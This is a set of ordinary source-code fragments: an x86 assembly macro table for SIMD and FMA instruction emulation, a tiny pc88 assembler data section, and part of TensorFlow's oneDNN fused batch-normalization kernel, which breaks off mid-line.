0, 1 AVX_INSTR pabsb, ssse3 AVX_INSTR pabsd, ssse3 AVX_INSTR pabsw, ssse3 AVX_INSTR packsswb, mmx, 0, 0, 0 AVX_INSTR packssdw, mmx, 0, 0, 0 AVX_INSTR packuswb, mmx, 0, 0, 0 AVX_INSTR packusdw, sse4, 0, 0, 0 AVX_INSTR paddb, mmx, 0, 0, 1 AVX_INSTR paddw, mmx, 0, 0, 1 AVX_INSTR paddd, mmx, 0, 0, 1 AVX_INSTR paddq, sse2, 0, 0, 1 AVX_INSTR paddsb, mmx, 0, 0, 1 AVX_INSTR paddsw, mmx, 0, 0, 1 AVX_INSTR paddusb, mmx, 0, 0, 1 AVX_INSTR paddusw, mmx, 0, 0, 1 AVX_INSTR palignr, ssse3, 0, 1, 0 AVX_INSTR pand, mmx, 0, 0, 1 AVX_INSTR pandn, mmx, 0, 0, 0 AVX_INSTR pavgb, mmx2, 0, 0, 1 AVX_INSTR pavgw, mmx2, 0, 0, 1 AVX_INSTR pblendvb, sse4 ; can't be emulated AVX_INSTR pblendw, sse4, 0, 1, 0 AVX_INSTR pclmulqdq, fnord, 0, 1, 0 AVX_INSTR pclmulhqhqdq, fnord, 0, 0, 0 AVX_INSTR pclmulhqlqdq, fnord, 0, 0, 0 AVX_INSTR pclmullqhqdq, fnord, 0, 0, 0 AVX_INSTR pclmullqlqdq, fnord, 0, 0, 0 AVX_INSTR pcmpestri, sse42 AVX_INSTR pcmpestrm, sse42 AVX_INSTR pcmpistri, sse42 AVX_INSTR pcmpistrm, sse42 AVX_INSTR pcmpeqb, mmx, 0, 0, 1 AVX_INSTR pcmpeqw, mmx, 0, 0, 1 AVX_INSTR pcmpeqd, mmx, 0, 0, 1 AVX_INSTR pcmpeqq, sse4, 0, 0, 1 AVX_INSTR pcmpgtb, mmx, 0, 0, 0 AVX_INSTR pcmpgtw, mmx, 0, 0, 0 AVX_INSTR pcmpgtd, mmx, 0, 0, 0 AVX_INSTR pcmpgtq, sse42, 0, 0, 0 AVX_INSTR pextrb, sse4 AVX_INSTR pextrd, sse4 AVX_INSTR pextrq, sse4 AVX_INSTR pextrw, mmx2 AVX_INSTR phaddw, ssse3, 0, 0, 0 AVX_INSTR phaddd, ssse3, 0, 0, 0 AVX_INSTR phaddsw, ssse3, 0, 0, 0 AVX_INSTR phminposuw, sse4 AVX_INSTR phsubw, ssse3, 0, 0, 0 AVX_INSTR phsubd, ssse3, 0, 0, 0 AVX_INSTR phsubsw, ssse3, 0, 0, 0 AVX_INSTR pinsrb, sse4, 0, 1, 0 AVX_INSTR pinsrd, sse4, 0, 1, 0 AVX_INSTR pinsrq, sse4, 0, 1, 0 AVX_INSTR pinsrw, mmx2, 0, 1, 0 AVX_INSTR pmaddwd, mmx, 0, 0, 1 AVX_INSTR pmaddubsw, ssse3, 0, 0, 0 AVX_INSTR pmaxsb, sse4, 0, 0, 1 AVX_INSTR pmaxsw, mmx2, 0, 0, 1 AVX_INSTR pmaxsd, sse4, 0, 0, 1 AVX_INSTR pmaxub, mmx2, 0, 0, 1 AVX_INSTR pmaxuw, sse4, 0, 0, 1 AVX_INSTR pmaxud, sse4, 0, 0, 1 AVX_INSTR pminsb, sse4, 0, 0, 1 AVX_INSTR pminsw, mmx2, 0, 0, 1 AVX_INSTR pminsd, sse4, 0, 0, 1 AVX_INSTR pminub, mmx2, 0, 0, 1 AVX_INSTR pminuw, sse4, 0, 0, 1 AVX_INSTR pminud, sse4, 0, 0, 1 AVX_INSTR pmovmskb, mmx2 AVX_INSTR pmovsxbw, sse4 AVX_INSTR pmovsxbd, sse4 AVX_INSTR pmovsxbq, sse4 AVX_INSTR pmovsxwd, sse4 AVX_INSTR pmovsxwq, sse4 AVX_INSTR pmovsxdq, sse4 AVX_INSTR pmovzxbw, sse4 AVX_INSTR pmovzxbd, sse4 AVX_INSTR pmovzxbq, sse4 AVX_INSTR pmovzxwd, sse4 AVX_INSTR pmovzxwq, sse4 AVX_INSTR pmovzxdq, sse4 AVX_INSTR pmuldq, sse4, 0, 0, 1 AVX_INSTR pmulhrsw, ssse3, 0, 0, 1 AVX_INSTR pmulhuw, mmx2, 0, 0, 1 AVX_INSTR pmulhw, mmx, 0, 0, 1 AVX_INSTR pmullw, mmx, 0, 0, 1 AVX_INSTR pmulld, sse4, 0, 0, 1 AVX_INSTR pmuludq, sse2, 0, 0, 1 AVX_INSTR por, mmx, 0, 0, 1 AVX_INSTR psadbw, mmx2, 0, 0, 1 AVX_INSTR pshufb, ssse3, 0, 0, 0 AVX_INSTR pshufd, sse2 AVX_INSTR pshufhw, sse2 AVX_INSTR pshuflw, sse2 AVX_INSTR psignb, ssse3, 0, 0, 0 AVX_INSTR psignw, ssse3, 0, 0, 0 AVX_INSTR psignd, ssse3, 0, 0, 0 AVX_INSTR psllw, mmx, 0, 0, 0 AVX_INSTR pslld, mmx, 0, 0, 0 AVX_INSTR psllq, mmx, 0, 0, 0 AVX_INSTR pslldq, sse2, 0, 0, 0 AVX_INSTR psraw, mmx, 0, 0, 0 AVX_INSTR psrad, mmx, 0, 0, 0 AVX_INSTR psrlw, mmx, 0, 0, 0 AVX_INSTR psrld, mmx, 0, 0, 0 AVX_INSTR psrlq, mmx, 0, 0, 0 AVX_INSTR psrldq, sse2, 0, 0, 0 AVX_INSTR psubb, mmx, 0, 0, 0 AVX_INSTR psubw, mmx, 0, 0, 0 AVX_INSTR psubd, mmx, 0, 0, 0 AVX_INSTR psubq, sse2, 0, 0, 0 AVX_INSTR psubsb, mmx, 0, 0, 0 AVX_INSTR psubsw, mmx, 0, 0, 0 AVX_INSTR psubusb, mmx, 0, 0, 0 AVX_INSTR psubusw, mmx, 0, 0, 0 AVX_INSTR ptest, sse4 AVX_INSTR punpckhbw, mmx, 0, 0, 0 AVX_INSTR punpckhwd, mmx, 0, 0, 0 AVX_INSTR punpckhdq, mmx, 0, 0, 0 AVX_INSTR punpckhqdq, sse2, 0, 0, 0 AVX_INSTR punpcklbw, mmx, 0, 0, 0 AVX_INSTR punpcklwd, mmx, 0, 0, 0 AVX_INSTR punpckldq, mmx, 0, 0, 0 AVX_INSTR punpcklqdq, sse2, 0, 0, 0 AVX_INSTR pxor, mmx, 0, 0, 1 AVX_INSTR rcpps, sse AVX_INSTR rcpss, sse, 1, 0, 0 AVX_INSTR roundpd, sse4 AVX_INSTR roundps, sse4 AVX_INSTR roundsd, sse4, 1, 1, 0 AVX_INSTR roundss, sse4, 1, 1, 0 AVX_INSTR rsqrtps, sse AVX_INSTR rsqrtss, sse, 1, 0, 0 AVX_INSTR shufpd, sse2, 1, 1, 0 AVX_INSTR shufps, sse, 1, 1, 0 AVX_INSTR sqrtpd, sse2 AVX_INSTR sqrtps, sse AVX_INSTR sqrtsd, sse2, 1, 0, 0 AVX_INSTR sqrtss, sse, 1, 0, 0 AVX_INSTR stmxcsr, sse AVX_INSTR subpd, sse2, 1, 0, 0 AVX_INSTR subps, sse, 1, 0, 0 AVX_INSTR subsd, sse2, 1, 0, 0 AVX_INSTR subss, sse, 1, 0, 0 AVX_INSTR ucomisd, sse2 AVX_INSTR ucomiss, sse AVX_INSTR unpckhpd, sse2, 1, 0, 0 AVX_INSTR unpckhps, sse, 1, 0, 0 AVX_INSTR unpcklpd, sse2, 1, 0, 0 AVX_INSTR unpcklps, sse, 1, 0, 0 AVX_INSTR xorpd, sse2, 1, 0, 1 AVX_INSTR xorps, sse, 1, 0, 1 ; 3DNow instructions, for sharing code between AVX, SSE and 3DN AVX_INSTR pfadd, 3dnow, 1, 0, 1 AVX_INSTR pfsub, 3dnow, 1, 0, 0 AVX_INSTR pfmul, 3dnow, 1, 0, 1 ; base-4 constants for shuffles %assign i 0 %rep 256 %assign j ((i>>6)&3)*1000 + ((i>>4)&3)*100 + ((i>>2)&3)*10 + (i&3) %if j < 10 CAT_XDEFINE q000, j, i %elif j < 100 CAT_XDEFINE q00, j, i %elif j < 1000 CAT_XDEFINE q0, j, i %else CAT_XDEFINE q, j, i %endif %assign i i+1 %endrep %undef i %undef j %macro FMA_INSTR 3 %macro %1 4-7 %1, %2, %3 %if cpuflag(xop) v%5 %1, %2, %3, %4 %elifnidn %1, %4 %6 %1, %2, %3 %7 %1, %4 %else %error non-xop emulation of ``%5 %1, %2, %3, %4'' is not supported %endif %endmacro %endmacro FMA_INSTR pmacsww, pmullw, paddw FMA_INSTR pmacsdd, pmulld, paddd ; sse4 emulation FMA_INSTR pmacsdql, pmuldq, paddq ; sse4 emulation FMA_INSTR pmadcswd, pmaddwd, paddd ; Macros for consolidating FMA3 and FMA4 using 4-operand (dst, src1, src2, src3) syntax. ; FMA3 is only possible if dst is the same as one of the src registers. ; Either src2 or src3 can be a memory operand. %macro FMA4_INSTR 2-* %push fma4_instr %xdefine %$prefix %1 %rep %0 - 1 %macro %$prefix%2 4-6 %$prefix, %2 %if notcpuflag(fma3) && notcpuflag(fma4) %error use of ``%5%6'' fma instruction in cpuname function: current_function %elif cpuflag(fma4) v%5%6 %1, %2, %3, %4 %elifidn %1, %2 ; If %3 or %4 is a memory operand it needs to be encoded as the last operand. %ifnum sizeof%3 v%{5}213%6 %2, %3, %4 %else v%{5}132%6 %2, %4, %3 %endif %elifidn %1, %3 v%{5}213%6 %3, %2, %4 %elifidn %1, %4 v%{5}231%6 %4, %2, %3 %else %error fma3 emulation of ``%5%6 %1, %2, %3, %4'' is not supported %endif %endmacro %rotate 1 %endrep %pop %endmacro FMA4_INSTR fmadd, pd, ps, sd, ss FMA4_INSTR fmaddsub, pd, ps FMA4_INSTR fmsub, pd, ps, sd, ss FMA4_INSTR fmsubadd, pd, ps FMA4_INSTR fnmadd, pd, ps, sd, ss FMA4_INSTR fnmsub, pd, ps, sd, ss ; workaround: vpbroadcastq is broken in x86_32 due to a yasm bug (fixed in 1.3.0) %ifdef __YASM_VER__ %if __YASM_VERSION_ID__ < 0x01030000 && ARCH_X86_64 == 0 %macro vpbroadcastq 2 %if sizeof%1 == 16 movddup %1, %2 %else vbroadcastsd %1, %2 %endif %endmacro %endif %endif
SECTION data_clib PUBLIC __pc88_mode PUBLIC __pc88_ink PUBLIC __pc88_paper __pc88_mode: defb 0 __pc88_ink: defb 7 __pc88_paper: defb 0
/* Copyright 2016 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #ifdef INTEL_MKL #include "third_party/eigen3/unsupported/Eigen/CXX11/Tensor" #include "dnnl.hpp" #include "tensorflow/core/framework/op_kernel.h" #include "tensorflow/core/framework/register_types.h" #include "tensorflow/core/framework/tensor.h" #include "tensorflow/core/framework/tensor_types.h" #include "tensorflow/core/kernels/fused_batch_norm_op.h" #include "tensorflow/core/kernels/no_op.h" #include "tensorflow/core/util/mkl_util.h" #include "tensorflow/core/util/tensor_format.h" #ifdef DNNL_AARCH64_USE_ACL #include "tensorflow/core/platform/mutex.h" #endif #define GET_FLAG(bn_flag) static_cast<int>(dnnl::normalization_flags::bn_flag) #define IS_SET(cflag) (context_.flags & GET_FLAG(cflag)) using dnnl::batch_normalization_backward; using dnnl::batch_normalization_forward; using dnnl::prop_kind; using dnnl::stream; using BatchNormFwdPd = dnnl::batch_normalization_forward::primitive_desc; using BatchNormBwdPd = dnnl::batch_normalization_backward::primitive_desc; namespace tensorflow { using CPUDevice = Eigen::ThreadPoolDevice; using FusedBNActivationMode = functor::FusedBatchNormActivationMode; struct MklBatchNormFwdParams { memory::dims src_dims; int depth; float eps; bool training; TensorFormat data_format; FusedBNActivationMode activation_mode; memory::desc src_md; MklBatchNormFwdParams(const memory::dims& src_dims, int depth, float eps, bool training, TensorFormat data_format, memory::desc src_md, FusedBNActivationMode activation_mode) : src_dims(src_dims), depth(depth), eps(eps), training(training), data_format(data_format), activation_mode(activation_mode), src_md(src_md) {} }; template <typename T, typename U> class MklFusedBatchNormFwdPrimitive : public MklPrimitive { public: explicit MklFusedBatchNormFwdPrimitive(const MklBatchNormFwdParams& fwdParams) : MklPrimitive(engine(engine::kind::cpu, 0)) { if (context_.bn_fwd == nullptr) Setup(fwdParams); } ~MklFusedBatchNormFwdPrimitive() {} // BatchNormalization forward execute // src_data: input data buffer of src // weights_data: input data buffer of weights // dst_data: output data buffer of dst // mean_data: output data buffer of means // variance_data: output data buffer of variances void Execute(const T* src_data, const U* weights_data, T* dst_data, U* mean_data, U* variance_data, std::shared_ptr<stream> fwd_stream, U* workspace_data) { #ifdef DNNL_AARCH64_USE_ACL mutex_lock lock(primitive_execution_mu_); #endif #ifndef ENABLE_ONEDNN_OPENMP // TODO(intel-tf): Create a common function and avoid the duplicate code context_.src_mem->set_data_handle( static_cast<void*>(const_cast<T*>(src_data)), *fwd_stream); context_.dst_mem->set_data_handle(static_cast<void*>(dst_data), *fwd_stream); if (IS_SET(use_scale_shift)) context_.weights_mem->set_data_handle( static_cast<void*>(const_cast<U*>(weights_data)), *fwd_stream); if ((context_.pkind == prop_kind::forward_training) || (IS_SET(use_global_stats))) { context_.mean_mem->set_data_handle(static_cast<void*>(mean_data), *fwd_stream); context_.variance_mem->set_data_handle(static_cast<void*>(variance_data), *fwd_stream); } if (workspace_data != nullptr) { context_.ws_mem->set_data_handle(workspace_data, *fwd_stream); } #else context_.src_mem->set_data_handle( static_cast<void*>(const_cast<T*>(src_data))); context_.dst_mem->set_data_handle(static_cast<void*>(dst_data)); if (IS_SET(use_scale_shift)) context_.weights_mem->set_data_handle( static_cast<void*>(const_cast<U*>(weights_data))); if ((context_.pkind == prop_kind::forward_training) || (IS_SET(use_global_stats))) { context_.mean_mem->set_data_handle(static_cast<void*>(mean_data)); context_.variance_mem->set_data_handle(static_cast<void*>(variance_data)); } if (workspace_data != nullptr) { context_.ws_mem->set_data_handle(workspace_data); } #endif // !ENABLE_ONEDNN_OPENMP // Execute batch-normalization forward primitives. execute_primitives(context_.fwd_primitives, fwd_stream, context_.net_args); context_.src_mem->set_data_handle(DummyData); context_.dst_mem->set_data_handle(DummyData); if (IS_SET(use_scale_shift)) context_.weights_mem->set_data_handle(DummyData); if ((context_.pkind == prop_kind::forward_training) || (IS_SET(use_global_stats))) { context_.mean_mem->set_data_handle(DummyData); context_.variance_mem->set_data_handle(DummyData); } if (workspace_data != nullptr) { context_.ws_mem->set_data_handle(DummyData); } } memory::desc GetDstPd() const { return context_.dst_mem->get_desc(); } std::shared_ptr<BatchNormFwdPd> GetBatchNormFwdPd() const { return context_.fwd_pd; } private: // Primitive reuse context for BatchNorm forward op. struct BatchNormFwdContext { // Flags indicating if it is training or inference mode. int64 flags; // Algorithm kind. dnnl::prop_kind pkind; // Inputs/outputs memory. std::shared_ptr<dnnl::memory> src_mem; std::shared_ptr<dnnl::memory> weights_mem; std::shared_ptr<dnnl::memory> dst_mem; std::shared_ptr<dnnl::memory> mean_mem; std::shared_ptr<dnnl::memory> variance_mem; std::shared_ptr<dnnl::memory> ws_mem; // Forward BatchNorm primitive descriptor. std::shared_ptr<BatchNormFwdPd> fwd_pd; // BatchNorm forward primitive. std::shared_ptr<dnnl::primitive> bn_fwd; std::vector<dnnl::primitive> fwd_primitives; std::vector<std::unordered_map<int, memory>> net_args; BatchNormFwdContext() : flags(0), pkind(prop_kind::forward_training), src_mem(nullptr), weights_mem(nullptr), dst_mem(nullptr), mean_mem(nullptr), variance_mem(nullptr), ws_mem(nullptr), bn_fwd(nullptr) {} }; void Setup(const MklBatchNormFwdParams& fwdParams) { context_.flags = fwdParams.training ? GET_FLAG(use_scale_shift) : (GET_FLAG(use_scale_shift) | GET_FLAG(use_global_stats)); context_.pkind = fwdParams.training ? prop_kind::forward_training : prop_kind::forward_scoring; if (fwdParams.activation_mode == FusedBNActivationMode::kRelu) { context_.flags |= GET_FLAG(fuse_norm_relu); } // Memory descriptor auto src_md = fwdParams.src_md; // Create forward BatchNorm descriptor and primitive descriptor. auto fwd_desc = batch_normalization_forward::desc( context_.pkind, src_md, fwdParams.eps, static_cast<dnnl::normalization_flags>(context_.flags)); context_.fwd_pd.reset(new BatchNormFwdPd(fwd_desc, cpu_engine_)); // Create memory primitive based on dummy data context_.src_mem.reset( new memory(context_.fwd_pd->src_desc(), cpu_engine_, DummyData)); context_.dst_mem.reset( new memory(context_.fwd_pd->dst_desc(), cpu_engine_, DummyData)); memory::dims s_dims = {2, fwdParams.depth}; memory::dims m_dims = {1, fwdParams.depth}; if (IS_SET(use_scale_shift)) { context_.weights_mem.reset( new memory({{s_dims}, MklDnnType<U>(), memory::format_tag::nc}, cpu_engine_, DummyData)); } if (fwdParams.training || (IS_SET(use_global_stats))) { context_.mean_mem.reset( new memory({{m_dims}, MklDnnType<U>(), memory::format_tag::nc}, cpu_engine_, DummyData)); context_.variance_mem.reset( new memory({{m_dims}, MklDnnType<U>(), memory::format_tag::nc}, cpu_engine_, DummyData)); } if (IS_SET(fuse_norm_relu)) { context_.ws_mem.reset(new memory(context_.fwd_pd->workspace_desc(), cpu_engine_, DummyData)); } // BatchNorm forward primitive. // TODO(intel-tf): Merge all the #ifdefs and simplify code if (!fwdParams.training && !(IS_SET(use_global_stats))) { if (IS_SET(use_scale_shift)) { context_.net_args.push_back({{DNNL_ARG_SRC, *context_.src_mem}, {DNNL_ARG_WEIGHTS, *context_.weights_mem}, {DNNL_ARG_DST, *context_.dst_mem}}); } else { context_.net_args.push_back({{DNNL_ARG_SRC, *context_.src_mem}, {DNNL_ARG_DST, *context_.dst_mem}}); } context_.bn_fwd.reset(new batch_normalization_forward(*context_.fwd_pd)); } else if (IS_SET(use_global_stats)) { if (IS_SET(use_scale_shift)) { if (IS_SET(fuse_norm_relu)) { context_.net_args.push_back( {{DNNL_ARG_SRC, *context_.src_mem}, {DNNL_ARG_MEAN, *context_.mean_mem}, {DNNL_ARG_VARIANCE, *context_.variance_mem}, {DNNL_ARG_WEIGHTS, *context_.weights_mem}, {DNNL_ARG_DST, *context_.dst_mem}, {DNNL_ARG_WORKSPACE, *context_.ws_mem}}); } else { context_.net_args.push_back( {{DNNL_ARG_SRC, *context_.src_mem}, {DNNL_ARG_MEAN, *context_.mean_mem}, {DNNL_ARG_VARIANCE, *context_.variance_mem}, {DNNL_ARG_WEIGHTS, *context_.weights_mem}, {DNNL_ARG_DST, *context_.dst_mem}}); } } else { if (IS_SET(fuse_norm_relu)) { context_.net_args.push_back( {{DNNL_ARG_SRC, *context_.src_mem}, {DNNL_ARG_MEAN, *context_.mean_mem}, {DNNL_ARG_VARIANCE, *context_.variance_mem}, {DNNL_ARG_DST, *context_.dst_mem}, {DNNL_ARG_WORKSPACE, *context_.ws_mem}}); } else { context_.net_args.push_back( {{DNNL_ARG_SRC, *context_.src_mem}, {DNNL_ARG_MEAN, *context_.mean_mem}, {DNNL_ARG_VARIANCE, *context_.variance_mem}, {DNNL_ARG_DST, *context_.dst_mem}}); } } context_.bn_fwd.reset(new batch_normalization_forward(*context_.fwd_pd)); } else { if (IS_SET(use_scale_shift)) { if (IS_SET(fuse_norm_relu)) { context_.net_args.push_back( {{DNNL_ARG_SRC, *context_.src_mem}, {DNNL_ARG_WEIGHTS, *context_.weights_mem}, {DNNL_ARG_DST, *context_.dst_mem}, {DNNL_ARG_MEAN, *context_.mean_mem}, {DNNL_ARG_VARIANCE, *context_.variance_mem}, {DNNL_ARG_WORKSPACE, *context_.ws_mem}}); } else { context_.net_args.push_back( {{DNNL_ARG_SRC, *context_.src_mem}, {DNNL_ARG_WEIGHTS, *context_.weights_mem}, {DNNL_ARG_DST, *context_.dst_mem}, {DNNL_ARG_MEAN, *context_.mean_mem}, {DNNL_ARG_VARIANCE, *context_.variance_mem}}); } } else { if (IS_SET(fuse_norm_relu)) { context_.net_args.push_back( {{DNNL_ARG_SRC, *context_.src_mem}, {DNNL_ARG_DST, *context_.dst_mem}, {DNNL_ARG_MEAN, *context_.mean_mem}, {DNNL_ARG_VARIANCE, *context_.variance_mem}, {DNNL_ARG_WORKSPACE, *context_.ws_mem}}); } else { context_.net_args.push_back( {{DNNL_ARG_SRC, *context_.src_mem}, {DNNL_ARG_DST, *context_.dst_mem}, {DNNL_ARG_MEAN, *context_.mean_mem}, {DNNL_ARG_VARIANCE, *context_.variance_mem}}); } } context_.bn_fwd.reset(new batch_normalization_forward(*context_.fwd_pd)); } context_.fwd_primitives.push_back(*context_.bn_fwd); } struct BatchNormFwdContext context_; #ifdef DNNL_AARCH64_USE_ACL mutex primitive_execution_mu_; #endif }; template <typename T, typename U> class MklFusedBatchNormFwdPrimitiveFactory : public MklPrimitiveFactory<T> { public: static MklFusedBatchNormFwdPrimitive<T, U>* Get( const MklBatchNormFwdParams& fwdParams) { auto bn_fwd = static_cast<MklFusedBatchNormFwdPrimitive<T, U>*>( MklFusedBatchNormFwdPrimitiveFactory<T, U>::GetInstance() .GetBatchNormFwd(fwdParams)); if (bn_fwd == nullptr) { bn_fwd = new MklFusedBatchNormFwdPrimitive<T, U>(fwdParams); MklFusedBatchNormFwdPrimitiveFactory<T, U>::GetInstance().SetBatchNormFwd( fwdParams, bn_fwd); } return bn_fwd; } static MklFusedBatchNormFwdPrimitiveFactory& GetInstance() { static MklFusedBatchNormFwdPrimitiveFactory instance_; return instance_; } private: MklFusedBatchNormFwdPrimitiveFactory() {} ~MklFusedBatchNormFwdPrimitiveFactory() {} static string CreateKey(const MklBatchNormFwdParams& fwdParams) { string prefix = "bn_fwd"; FactoryKeyCreator key_creator; key_creator.AddAsKey(prefix); key_creator.AddAsKey(fwdParams.src_dims); key_creator.AddAsKey<int>(fwdParams.depth); key_creator.AddAsKey<float>(fwdParams.eps); key_creator.AddAsKey<bool>(fwdParams.training); key_creator.AddAsKey<TensorFormat>(fwdParams.data_format); key_creator.AddAsKey<FusedBNActivationMode>(fwdParams.activation_mode); key_creator.AddAsKey(typeid(T).name()); key_creator.AddAsKey(typeid(U).name()); return key_creator.GetKey(); } MklPrimitive* GetBatchNormFwd(const MklBatchNormFwdParams& fwdParams) { string key = CreateKey(fwdParams); return this->GetOp(key); } void SetBatchNormFwd(const MklBatchNormFwdParams& fwdParams, MklPrimitive* op) { string key = CreateKey(fwdParams); this->SetOp(key, op); } }; struct MklBatchNormBwdParams { memory::dims src_dims; memory::dims diff_dst_dims; int depth; float eps; bool training; TensorFormat data_format; memory::desc src_md; memory::desc diff_dst_md; MklBatchNormBwdParams(memory::dims src_dims, memory::dims diff_dst_dims, int depth, float eps, bool training, TensorFormat data_format, memory::desc src_md, memory::desc diff_dst_md) : src_dims(src_dims), diff_dst_dims(diff_dst_dims), depth(depth), eps(eps), training(training), data_format(data_format), src_md(src_md), diff_dst_md(diff_dst_md) {} }; template <typename T, typename U> class MklFusedBatchNormBwdPrimitive : public MklPrimitive { public: explicit MklFusedBatchNormBwdPrimitive(const MklBatchNormBwdParams& bwdParams) : MklPrimitive(engine(engine::kind::cpu, 0)) { if (context_.bn_bwd == nullptr) Setup(bwdParams); } ~MklFusedBatchNormBwdPrimitive() {} // BatchNormalization backward execute // src_data: input data buffer of src // mean_data: input data buffer of mean // variance_data: input data buffer of variance // diff_dst_data: input data buffer of diff_dst // weights_data: input data buffer of weights // diff_src_data: output data buffer of diff_src // diff_weights_data: output data buffer of diff_weights // res_space_data: output data buffer or reserved_space_3. // TODO: reserved_space_3: temp mem to hold // intermediate results is not implemented // on CPU as of now. void Execute(const T* src_data, const U* mean_data, const U* variance_data, const T* diff_dst_data, const U* weights_data, T* diff_src_data, U* diff_weights_data, U* res_space_data, std::shared_ptr<stream> bwd_stream) { #ifdef DNNL_AARCH64_USE_ACL mutex_lock lock(primitive_execution_mu_); #endif #ifndef ENABLE_ONEDNN_OPENMP // TODO(intel-tf): Create a common function and avoid the duplicate code context_.src_mem->set_data_handle( static_cast<void*>(const_cast<T*>(src_data)), *bwd_stream); context_.mean_mem->set_data_handle( static_cast<void*>(const_cast<U*>(mean_data)), *bwd_stream); context_.variance_mem->set_data_handle( static_cast<void*>(const_cast<U*>(variance_data)), *bwd_stream); context_.diff_dst_mem->set_data_handle( static_cast<void*>(const_cast<T*>(diff_dst_data)), *bwd_stream); if (IS_SET(use_scale_shift)) { context_.weights_mem->set_data_handle( static_cast<void*>(const_cast<U*>(weights_data)), *bwd_stream); context_.diff_weights_mem->set_data_handle( static_cast<void*>(diff_weights_data), *bwd_stream); } context_.diff_src_mem->set_data_handle(static_cast<void*>(diff_src_data), *bwd_stream); #else context_.src_mem->set_data_handle( static_cast<void*>(const_cast<T*>(src_data))); context_.mean_mem->set_data_handle( static_cast<void*>(const_cast<U*>(mean_data))); context_.variance_mem->set_data_handle( static_cast<void*>(const_cast<U*>(variance_data))); context_.diff_dst_mem->set_data_handle( static_cast<void*>(const_cast<T*>(diff_dst_data))); if (IS_SET(use_scale_shift)) { context_.weights_mem->set_data_handle( static_cast<void*>(const_cast<U*>(weights_data))); context_.diff_weights_mem->set_data_handle( static_cast<void*>(diff_weights_data)); } context_.diff_src_mem->set_data_handle(static_cast<void*>(diff_src_data)); #endif // !ENABLE_ONEDNN_OPENMP // Execute backward batch-normalization primitives. DCHECK_EQ(context_.bwd_primitives.size(), context_.net_args.size()); execute_primitives(context_.bwd_primitives, bwd_stream, context_.net_args); // After execution, set data handle back to DummyData. context_.src_mem->set_data_handle(DummyData); context_.mean_mem->set_data_handle(DummyData); context_.variance_mem->set_data_handle(DummyData); context_.diff_dst_mem->set_data_handle(DummyData); if (IS_SET(use_scale_shift)) { context_.weights_mem->set_data_handle(DummyData); context_.diff_weights_mem->set_data_handle(DummyData); } context_.diff_src_mem->set_data_handle(DummyData); } std::shared_ptr<BatchNormBwdPd> GetBatchNormBwdPd() const { return context_.bwd_pd; } memory::desc GetDiffSrcPd() { return context_.diff_src_mem->get_desc(); } private: struct BatchNormBwdContext { // Flags to indicate whether it is training or inference. int64 flags; // Inputs/output memory. std::shared_ptr<dnnl::memory> src_mem; std::shared_ptr<dnnl::memory> mean_mem; std::shared_ptr<dnnl::memory> variance_mem; std::shared_ptr<dnnl::memory> diff_dst_mem; std::shared_ptr<dnnl::memory> weights_mem; std::shared_ptr<dnnl::memory> diff_weights_mem; std::shared_ptr<dnnl::memory> diff_src_mem; // Backward batch-normalization primitive descriptor. std::shared_ptr<BatchNormBwdPd> bwd_pd; // Backward batch-normalization primitive. std::shared_ptr<dnnl::primitive> bn_bwd; std::vector<dnnl::primitive> bwd_primitives; std::vector<std::unordered_map<int, memory>> net_args; BatchNormBwdContext() : src_mem(nullptr), mean_mem(nullptr), variance_mem(nullptr), diff_dst_mem(nullptr), weights_mem(nullptr), diff_weights_mem(nullptr), diff_src_mem(nullptr) {} }; void Setup(const MklBatchNormBwdParams& bwdParams) { context_.flags = bwdParams.training ? GET_FLAG(use_scale_shift) : (GET_FLAG(use_scale_shift) | GET_FLAG(use_global_stats)); // Memory descriptors. auto src_md = bwdParams.src_md; auto diff_dst_md = bwdParams.diff_dst_md; auto variance_desc = memory::desc({1, bwdParams.depth}, MklDnnType<U>(), memory::format_tag::nc); auto mean_desc = memory::desc({1, bwdParams.depth}, MklDnnType<U>(), memory::format_tag::nc); auto weights_desc = memory::desc({2, bwdParams.depth}, MklDnnType<U>(), memory::format_tag::nc); auto diff_weights_desc = weights_desc; // Forward batch-normalization descriptor and primitive descriptor. // Adding this back due to type difference with context.flags auto bn_flags = bwdParams.training ? dnnl::normalization_flags::use_scale_shift : (dnnl::normalization_flags::use_scale_shift | dnnl::normalization_flags::use_global_stats); auto fwd_desc = batch_normalization_forward::desc( prop_kind::forward_training, src_md, bwdParams.eps, bn_flags); auto fwd_pd = BatchNormFwdPd(fwd_desc, cpu_engine_); // Backward batch-normalization primitive. // For inference, specify use_global_stats // 1. on fwd propagation, use mean and variance provided as inputs. // 2. on bwd propagation, mean and variance are considered as constants. // Thus, reduce the amount of MKL computation. auto bwd_desc = batch_normalization_backward::desc( prop_kind::backward, diff_dst_md, src_md, bwdParams.eps, bn_flags); context_.bwd_pd.reset(new BatchNormBwdPd(bwd_desc, cpu_engine_, fwd_pd)); // Create memory primitives. context_.src_mem.reset(new memory(src_md, cpu_engine_, DummyData)); context_.diff_dst_mem.reset( new memory(diff_dst_md, cpu_engine_, DummyData)); context_.variance_mem.reset( new memory(variance_desc, cpu_engine_, DummyData)); context_.mean_mem.reset(new memory(mean_desc, cpu_engine_, DummyData)); context_.weights_mem.reset( new memory(weights_desc, cpu_engine_, DummyData)); context_.diff_weights_mem.reset( new memory(diff_weights_desc, cpu_engine_, DummyData)); context_.diff_src_mem.reset(new memory(src_md, cpu_engine_, DummyData)); context_.bn_bwd.reset(new batch_normalization_backward(*context_.bwd_pd)); context_.net_args.push_back( {{DNNL_ARG_SRC, *context_.src_mem}, {DNNL_ARG_MEAN, *context_.mean_mem}, {DNNL_ARG_VARIANCE, *context_.variance_mem}, {DNNL_ARG_DIFF_DST, *context_.diff_dst_mem}, {DNNL_ARG_WEIGHTS, *context_.weights_mem}, {DNNL_ARG_DIFF_SRC, *context_.diff_src_mem}, {DNNL_ARG_DIFF_WEIGHTS, *context_.diff_weights_mem}}); context_.bwd_primitives.push_back(*context_.bn_bwd); } struct BatchNormBwdContext context_; #ifdef DNNL_AARCH64_USE_ACL mutex primitive_execution_mu_; #endif }; template <typename T, typename U> class MklFusedBatchNormBwdPrimitiveFactory : public MklPrimitiveFactory<T> { public: static MklFusedBatchNormBwdPrimitive<T, U>* Get( const MklBatchNormBwdParams& bwdParams) { auto bn_bwd = static_cast<MklFusedBatchNormBwdPrimitive<T, 